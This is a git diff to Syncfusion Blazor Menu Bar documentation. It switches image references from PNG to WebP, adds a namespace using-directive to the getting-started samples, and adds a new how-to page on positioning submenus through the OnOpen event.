+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLIsZrssHctKuMX?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Data Binding in Blazor MenuBar](./images/blazor-menubar-data-binding.webp)" %}
 
 N> In the above example, `TValue` is specified as `MenuItemModel` because the menu is rendered using the `Items` property.
 
@@ -195,7 +195,7 @@ When using TValue with CustomMenuItem in the [MenuTemplates](https://help.syncfu
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBeMjBiMnvjKgoI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar with Self-Referential Data with CustomMenuItem TValue in MenuTemplate](./images/blazor-menubar-self-referential-data.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtBeMjBiMnvjKgoI?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar with Self-Referential Data with CustomMenuItem TValue in MenuTemplate](./images/blazor-menubar-self-referential-data.webp)" %}
 
 ## Custom Menu Bar Items
 
@@ -374,4 +374,4 @@ To customize Menu Bar items in your application, set your customized template us
 </style>
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXryiDLMBRagHDoZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar with Custom Item](./images/blazor-menubar-custom-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXryiDLMBRagHDoZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar with Custom Item](./images/blazor-menubar-custom-item.webp)" %}
diff --git a/blazor/menu-bar/getting-started-webapp.md b/blazor/menu-bar/getting-started-webapp.md
index 44577fe3be..5c2c432c02 100644
--- a/blazor/menu-bar/getting-started-webapp.md
+++ b/blazor/menu-bar/getting-started-webapp.md
@@ -167,6 +167,8 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfMenu TValue="MenuItem">
     <MenuItems>
         <MenuItem Text="File">
@@ -207,7 +209,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Menu Bar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/MenuBar).
 
diff --git a/blazor/menu-bar/getting-started-with-server-app.md b/blazor/menu-bar/getting-started-with-server-app.md
index df97680c27..f02322728b 100644
--- a/blazor/menu-bar/getting-started-with-server-app.md
+++ b/blazor/menu-bar/getting-started-with-server-app.md
@@ -161,6 +161,8 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfMenu TValue="MenuItem">
     <MenuItems>
         <MenuItem Text="File">
@@ -201,7 +203,7 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Menu Bar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/MenuBar).
 
diff --git a/blazor/menu-bar/getting-started.md b/blazor/menu-bar/getting-started.md
index ce3f8c446b..f1fc169cd1 100644
--- a/blazor/menu-bar/getting-started.md
+++ b/blazor/menu-bar/getting-started.md
@@ -148,6 +148,8 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Menu Bar compone
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
 
+@using Syncfusion.Blazor.Navigations
+
 <SfMenu TValue="MenuItem">
     <MenuItems>
         <MenuItem Text="File">
@@ -188,7 +190,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Menu Bar compone
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Menu Bar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZhfDiUNVjEteVaW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor MenuBar Component](./images/blazor-menubar.webp)" %}
 
 N> `TValue` can be specified as either `MenuItemModel` or `MenuItem`. If the menu is generated using the `Items` property, then `TValue` is specified as `MenuItemModel`. However, if it is created using a tag directive, then `TValue` is specified as `MenuItem`.
 
diff --git a/blazor/menu-bar/how-to/change-orientation.md b/blazor/menu-bar/how-to/change-orientation.md
index 26cdfdb83c..ef04baf339 100644
--- a/blazor/menu-bar/how-to/change-orientation.md
+++ b/blazor/menu-bar/how-to/change-orientation.md
@@ -47,4 +47,4 @@ Orientation in menu items can be changed horizontally or vertically using the [O
 
 ```
 
-![Blazor MenuBar with Vertical Orientation](./../images/blazor-menubar-vertical-orientation.png)
\ No newline at end of file
+![Blazor MenuBar with Vertical Orientation](./../images/blazor-menubar-vertical-orientation.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/how-to/change-submenu-position.md b/blazor/menu-bar/how-to/change-submenu-position.md
new file mode 100644
index 0000000000..38dcd46c96
--- /dev/null
+++ b/blazor/menu-bar/how-to/change-submenu-position.md
@@ -0,0 +1,93 @@
+---
+layout: post
+title: Change Submenu Position in Blazor Menu Bar | Syncfusion
+description: Checkout and learn about Change Submenu Position in Blazor Menu Bar  component of Syncfusion, and more details.
+platform: Blazor
+control: Menu Bar 
+documentation: ug
+---
+
+# Change SubMenu Position
+
+The submenu position can be changed by using the [`OnOpen`](https://blazor.syncfusion.com/documentation/menu-bar/menu-events#onopen) event. Assign the `Top` and `Left` position where you want to open the submenu.
+
+In the below sample, the sub menu opens above the parent menu item
+
+```cshtml
+
+@using Syncfusion.Blazor.Navigations
+
+<SfMenu TValue="MenuItem">
+    <MenuItems>
+        <MenuItem Text="File">
+            <MenuItems>
+                <MenuItem Text="Open"></MenuItem>
+                <MenuItem Text="Save"></MenuItem>
+                <MenuItem Text="Exit"></MenuItem>
+            </MenuItems>
+        </MenuItem>
+        <MenuItem Text="Edit">
+            <MenuItems>
+                <MenuItem Text="Cut"></MenuItem>
+                <MenuItem Text="Copy"></MenuItem>
+                <MenuItem Text="Paste"></MenuItem>
+            </MenuItems>
+        </MenuItem>
+        <MenuItem Text="View">
+            <MenuItems>
+                <MenuItem Text="Toolbars"></MenuItem>
+                <MenuItem Text="Zoomr"></MenuItem>
+                <MenuItem Text="Full Screen"></MenuItem>
+            </MenuItems>
+        </MenuItem>
+        <MenuItem Text="Tools">
+            <MenuItems>
+                <MenuItem Text="Spelling & Grammar"></MenuItem>
+                <MenuItem Text="Customize"></MenuItem>
+                <MenuItem Text="Options"></MenuItem>
+            </MenuItems>
+        </MenuItem>
+        <MenuItem Text="Go"></MenuItem>
+        <MenuItem Text="Help"></MenuItem>
+        <MenuEvents TValue="MenuItem" OnOpen="Open"></MenuEvents>
+    </MenuItems>
+</SfMenu>
+
+@code {
+
+    public void Open(BeforeOpenCloseMenuEventArgs<MenuItem> args)
+    {
+        if (args.ParentItem.Text == "File")
+        {
+            args.Left = 390;
+            args.Top = 40;
+        }
+        if (args.ParentItem.Text == "Edit")
+        {
+            args.Left = 455;
+            args.Top = 40;
+        }
+        if (args.ParentItem.Text == "View")
+        {
+            args.Left = 520;
+            args.Top = 40;
+        }
+        if (args.ParentItem.Text == "Tools")
+        {
+            args.Left = 585;
+            args.Top = 40;
+        }
+    }
+}
+
+<style>
+    #element {
+        margin: 25% 5px 20px 30%;
+    }
+</style>
+
+```
+
+Output be like
+
+![Menu Sample](./../images/menu-position.png)
diff --git a/blazor/menu-bar/how-to/customize-menu-items.md b/blazor/menu-bar/how-to/customize-menu-items.md
index 466266b7d3..37583b9cab 100644
--- a/blazor/menu-bar/how-to/customize-menu-items.md
+++ b/blazor/menu-bar/how-to/customize-menu-items.md
@@ -70,7 +70,7 @@ In the following example, the `Corporate` menu items are added and the `Company`
 
 ```
 
-![Add or Remove Items in Blazor MenuBar](./../images/blazor-menubar-add-remove-items.png)
+![Add or Remove Items in Blazor MenuBar](./../images/blazor-menubar-add-remove-items.webp)
 
 ## Enable or Disable Menu Items
 
@@ -131,7 +131,7 @@ In the following example, the Directory header item, Conferences, and Music sub
 
 ```
 
-![Disabling Menu Items in Blazor MenuBar](./../images/blazor-menubar-disable-item.png)
+![Disabling Menu Items in Blazor MenuBar](./../images/blazor-menubar-disable-item.webp)
 
 ## Show or Hide Menu Items
 
@@ -193,4 +193,4 @@ In the following example, the Movies header item, Workshops, and Music sub menu
 
 ```
 
-![Disaplying Menu Items in Blazor MenuBar](./../images/blazor-menubar-show-menu-item.png)
\ No newline at end of file
+![Disaplying Menu Items in Blazor MenuBar](./../images/blazor-menubar-show-menu-item.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/how-to/menu-with-rounded-corner.md b/blazor/menu-bar/how-to/menu-with-rounded-corner.md
index f68e9f2368..d4a0405db4 100644
--- a/blazor/menu-bar/how-to/menu-with-rounded-corner.md
+++ b/blazor/menu-bar/how-to/menu-with-rounded-corner.md
@@ -62,4 +62,4 @@ The rounded corner can be achieved by using the [CssClass](https://help.syncfusi
 
 ```
 
-![Blazor MenuBar with Rounded Corner](./../images/blazor-menubar-with-rounded-corner.png)
\ No newline at end of file
+![Blazor MenuBar with Rounded Corner](./../images/blazor-menubar-with-rounded-corner.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/how-to/open-menu-click.md b/blazor/menu-bar/how-to/open-menu-click.md
index 24e932448c..d7f0deec36 100644
--- a/blazor/menu-bar/how-to/open-menu-click.md
+++ b/blazor/menu-bar/how-to/open-menu-click.md
@@ -50,4 +50,4 @@ In the following sample, Sub Menu will open while clicking `File` menu.
 </SfMenu>
 ```
 
-![Opening Menu Item in Blazor MenuBar](./../images/blazor-menubar-with-menu-item.png)
\ No newline at end of file
+![Opening Menu Item in Blazor MenuBar](./../images/blazor-menubar-with-menu-item.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/how-to/right-left.md b/blazor/menu-bar/how-to/right-left.md
index 9a376e1d15..a4839014bf 100644
--- a/blazor/menu-bar/how-to/right-left.md
+++ b/blazor/menu-bar/how-to/right-left.md
@@ -51,4 +51,4 @@ The following example illustrates how to enable right-to-left support in Menu Ba
 
 ```
 
-![Right to Left in Blazor MenuBar](./../images/blazor-menubar-right-to-left.png)
\ No newline at end of file
+![Right to Left in Blazor MenuBar](./../images/blazor-menubar-right-to-left.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/icons.md b/blazor/menu-bar/icons.md
index 3b0e160f3f..6a0ac11696 100644
--- a/blazor/menu-bar/icons.md
+++ b/blazor/menu-bar/icons.md
@@ -92,7 +92,7 @@ The menu item contains an icon/image in it to provide a visual representation of
 </style>
 ```
 
-![Blazor MenuBar with Icons](./images/blazor-menubar-icons.png)
+![Blazor MenuBar with Icons](./images/blazor-menubar-icons.webp)
 
 ## Navigation
 
@@ -131,7 +131,7 @@ Navigation in Menu Bar is used to navigate to the other web page when a Menu Bar
 </SfMenu>
 ```
 
-![Navigation in Blazor MenuBar](./images/blazor-menubar-navigation.png)
+![Navigation in Blazor MenuBar](./images/blazor-menubar-navigation.webp)
 
 ## Multilevel nesting
 
@@ -204,4 +204,4 @@ The Menu Bar supports multiple level nesting, and it can be achieved by mapping
 </SfMenu>
 ```
 
-![Blazor MenuBar with Multilevel Nesting](./images/blazor-menubar-multilevel-nesting.png)
\ No newline at end of file
+![Blazor MenuBar with Multilevel Nesting](./images/blazor-menubar-multilevel-nesting.webp)
\ No newline at end of file
diff --git a/blazor/menu-bar/images/Blazor-server-app-creation.png b/blazor/menu-bar/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/menu-bar/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/menu-bar/images/Blazor-server-app-creation.webp b/blazor/menu-bar/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/menu-bar/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/menu-bar/images/blazor-app-interactive-mode.png b/blazor/menu-bar/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/menu-bar/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-app-interactive-mode.webp b/blazor/menu-bar/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/menu-bar/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/menu-bar/images/blazor-create-web-app.png b/blazor/menu-bar/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/menu-bar/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-create-web-app.webp b/blazor/menu-bar/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/menu-bar/images/blazor-create-web-app.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-add-remove-items.png b/blazor/menu-bar/images/blazor-menubar-add-remove-items.png
deleted file mode 100644
index a212565d68..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-add-remove-items.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-add-remove-items.webp b/blazor/menu-bar/images/blazor-menubar-add-remove-items.webp
new file mode 100644
index 0000000000..e9b5394773
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-add-remove-items.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-animation.gif b/blazor/menu-bar/images/blazor-menubar-animation.gif
deleted file mode 100644
index 2f2e950c8a..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-animation.gif and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-animation.webp b/blazor/menu-bar/images/blazor-menubar-animation.webp
new file mode 100644
index 0000000000..9256a56a3f
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-animation.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-custom-item.png b/blazor/menu-bar/images/blazor-menubar-custom-item.png
deleted file mode 100644
index cb2f3dd0f2..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-custom-item.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-custom-item.webp b/blazor/menu-bar/images/blazor-menubar-custom-item.webp
new file mode 100644
index 0000000000..38123fef59
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-custom-item.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-data-binding.png b/blazor/menu-bar/images/blazor-menubar-data-binding.png
deleted file mode 100644
index dfc1ae7af2..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-data-binding.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-data-binding.webp b/blazor/menu-bar/images/blazor-menubar-data-binding.webp
new file mode 100644
index 0000000000..52bd6dd564
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-data-binding.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-disable-item.png b/blazor/menu-bar/images/blazor-menubar-disable-item.png
deleted file mode 100644
index f489470bad..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-disable-item.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-disable-item.webp b/blazor/menu-bar/images/blazor-menubar-disable-item.webp
new file mode 100644
index 0000000000..3ede0cd3d5
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-disable-item.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-events.png b/blazor/menu-bar/images/blazor-menubar-events.png
deleted file mode 100644
index c0a286d35f..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-events.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-events.webp b/blazor/menu-bar/images/blazor-menubar-events.webp
new file mode 100644
index 0000000000..e3500328de
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-events.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-icons.PNG b/blazor/menu-bar/images/blazor-menubar-icons.PNG
deleted file mode 100644
index 8586a2b888..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-icons.PNG and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-icons.webp b/blazor/menu-bar/images/blazor-menubar-icons.webp
new file mode 100644
index 0000000000..d24a33ae08
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-icons.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-mobile-view.png b/blazor/menu-bar/images/blazor-menubar-mobile-view.png
deleted file mode 100644
index bfe8df01f1..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-mobile-view.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-mobile-view.webp b/blazor/menu-bar/images/blazor-menubar-mobile-view.webp
new file mode 100644
index 0000000000..73707071d1
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-mobile-view.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.png b/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.png
deleted file mode 100644
index 24b97468b7..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.webp b/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.webp
new file mode 100644
index 0000000000..fb8c058c66
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-multilevel-nesting.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-navigation.png b/blazor/menu-bar/images/blazor-menubar-navigation.png
deleted file mode 100644
index e143bec13d..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-navigation.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-navigation.webp b/blazor/menu-bar/images/blazor-menubar-navigation.webp
new file mode 100644
index 0000000000..a2e6168bb4
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-navigation.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-right-to-left.png b/blazor/menu-bar/images/blazor-menubar-right-to-left.png
deleted file mode 100644
index e9d5f181c0..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-right-to-left.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-right-to-left.webp b/blazor/menu-bar/images/blazor-menubar-right-to-left.webp
new file mode 100644
index 0000000000..77a1599fe2
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-right-to-left.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-scroller.png b/blazor/menu-bar/images/blazor-menubar-scroller.png
deleted file mode 100644
index 7505d091d8..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-scroller.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-scroller.webp b/blazor/menu-bar/images/blazor-menubar-scroller.webp
new file mode 100644
index 0000000000..269c4a4b29
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-scroller.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-self-referential-data.png b/blazor/menu-bar/images/blazor-menubar-self-referential-data.png
deleted file mode 100644
index d8f97acdc1..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-self-referential-data.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-self-referential-data.webp b/blazor/menu-bar/images/blazor-menubar-self-referential-data.webp
new file mode 100644
index 0000000000..889161a7d1
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-self-referential-data.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-show-menu-item.png b/blazor/menu-bar/images/blazor-menubar-show-menu-item.png
deleted file mode 100644
index e0b2e0a63d..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-show-menu-item.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-show-menu-item.webp b/blazor/menu-bar/images/blazor-menubar-show-menu-item.webp
new file mode 100644
index 0000000000..a437af435b
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-show-menu-item.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-style-and-appearance.png b/blazor/menu-bar/images/blazor-menubar-style-and-appearance.png
deleted file mode 100644
index 8d71a9adb9..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-style-and-appearance.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-style-and-appearance.webp b/blazor/menu-bar/images/blazor-menubar-style-and-appearance.webp
new file mode 100644
index 0000000000..f9913bd08f
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-style-and-appearance.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-vertical-orientation.PNG b/blazor/menu-bar/images/blazor-menubar-vertical-orientation.PNG
deleted file mode 100644
index cd0de61e7d..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-vertical-orientation.PNG and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-vertical-orientation.webp b/blazor/menu-bar/images/blazor-menubar-vertical-orientation.webp
new file mode 100644
index 0000000000..8f8bb0fb3b
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-vertical-orientation.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.png b/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.png
deleted file mode 100644
index ad1c531231..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.webp b/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.webp
new file mode 100644
index 0000000000..26f208b196
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-with-hamburger-menu.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-menu-item.png b/blazor/menu-bar/images/blazor-menubar-with-menu-item.png
deleted file mode 100644
index 8606bc2b19..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-with-menu-item.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-menu-item.webp b/blazor/menu-bar/images/blazor-menubar-with-menu-item.webp
new file mode 100644
index 0000000000..d5070f3a19
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-with-menu-item.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.PNG b/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.PNG
deleted file mode 100644
index d2505a611d..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.PNG and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.webp b/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.webp
new file mode 100644
index 0000000000..788e68b79a
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar-with-rounded-corner.webp differ
diff --git a/blazor/menu-bar/images/blazor-menubar.png b/blazor/menu-bar/images/blazor-menubar.png
deleted file mode 100644
index 099fe7625e..0000000000
Binary files a/blazor/menu-bar/images/blazor-menubar.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-menubar.webp b/blazor/menu-bar/images/blazor-menubar.webp
new file mode 100644
index 0000000000..b2f1f12059
Binary files /dev/null and b/blazor/menu-bar/images/blazor-menubar.webp differ
diff --git a/blazor/menu-bar/images/blazor-wasm-app-template.png b/blazor/menu-bar/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/menu-bar/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/menu-bar/images/blazor-wasm-app-template.webp b/blazor/menu-bar/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/menu-bar/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/menu-bar/images/import-cdn.png b/blazor/menu-bar/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/menu-bar/images/import-cdn.png and /dev/null differ
diff --git a/blazor/menu-bar/images/import-cdn.webp b/blazor/menu-bar/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/menu-bar/images/import-cdn.webp differ
diff --git a/blazor/menu-bar/images/menu-animation.png b/blazor/menu-bar/images/menu-animation.png
deleted file mode 100644
index 49c8b67036..0000000000
Binary files a/blazor/menu-bar/images/menu-animation.png and /dev/null differ
diff --git a/blazor/menu-bar/images/menu-animation.webp b/blazor/menu-bar/images/menu-animation.webp
new file mode 100644
index 0000000000..4307f6908e
Binary files /dev/null and b/blazor/menu-bar/images/menu-animation.webp differ
diff --git a/blazor/menu-bar/images/menu-db.png b/blazor/menu-bar/images/menu-db.png
deleted file mode 100644
index beab7b0f47..0000000000
Binary files a/blazor/menu-bar/images/menu-db.png and /dev/null differ
diff --git a/blazor/menu-bar/images/menu-db.webp b/blazor/menu-bar/images/menu-db.webp
new file mode 100644
index 0000000000..721b05453a
Binary files /dev/null and b/blazor/menu-bar/images/menu-db.webp differ
diff --git a/blazor/menu-bar/images/menu-position.webp b/blazor/menu-bar/images/menu-position.webp
new file mode 100644
index 0000000000..b92a3b88b4
Binary files /dev/null and b/blazor/menu-bar/images/menu-position.webp differ
diff --git a/blazor/menu-bar/images/new-project.png b/blazor/menu-bar/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/menu-bar/images/new-project.png and /dev/null differ
diff --git a/blazor/menu-bar/images/new-project.webp b/blazor/menu-bar/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/menu-bar/images/new-project.webp differ
diff --git a/blazor/menu-bar/images/nuget-explorer.png b/blazor/menu-bar/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/menu-bar/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/menu-bar/images/nuget-explorer.webp b/blazor/menu-bar/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/menu-bar/images/nuget-explorer.webp differ
diff --git a/blazor/menu-bar/images/razor-components-template.png b/blazor/menu-bar/images/razor-components-template.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/menu-bar/images/razor-components-template.png and /dev/null differ
diff --git a/blazor/menu-bar/images/razor-components-template.webp b/blazor/menu-bar/images/razor-components-template.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/menu-bar/images/razor-components-template.webp differ
diff --git a/blazor/menu-bar/images/select-nuget.png b/blazor/menu-bar/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/menu-bar/images/select-nuget.png and /dev/null differ
diff --git a/blazor/menu-bar/images/select-nuget.webp b/blazor/menu-bar/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/menu-bar/images/select-nuget.webp differ
diff --git a/blazor/menu-bar/menu-events.md b/blazor/menu-bar/menu-events.md
index 886fb75c89..7efd0a0932 100644
--- a/blazor/menu-bar/menu-events.md
+++ b/blazor/menu-bar/menu-events.md
@@ -135,4 +135,4 @@ The Blazor Menu Bar component’s [ItemSelected](https://help.syncfusion.com/cr/
 
 ```
 
-![Customizing Blazor MenuBar Items using Event](./images/blazor-menubar-events.png)
+![Customizing Blazor MenuBar Items using Event](./images/blazor-menubar-events.webp)
diff --git a/blazor/menu-bar/style-and-appearance.md b/blazor/menu-bar/style-and-appearance.md
index ae6666cc44..eea025f626 100644
--- a/blazor/menu-bar/style-and-appearance.md
+++ b/blazor/menu-bar/style-and-appearance.md
@@ -79,4 +79,4 @@ Use the following CSS to customize the background color of menu container, focus
 
 ```
 
-![Blazor Menubar with Style and Appearance](./images/blazor-menubar-style-and-appearance.png)
\ No newline at end of file
+![Blazor Menubar with Style and Appearance](./images/blazor-menubar-style-and-appearance.webp)
\ No newline at end of file
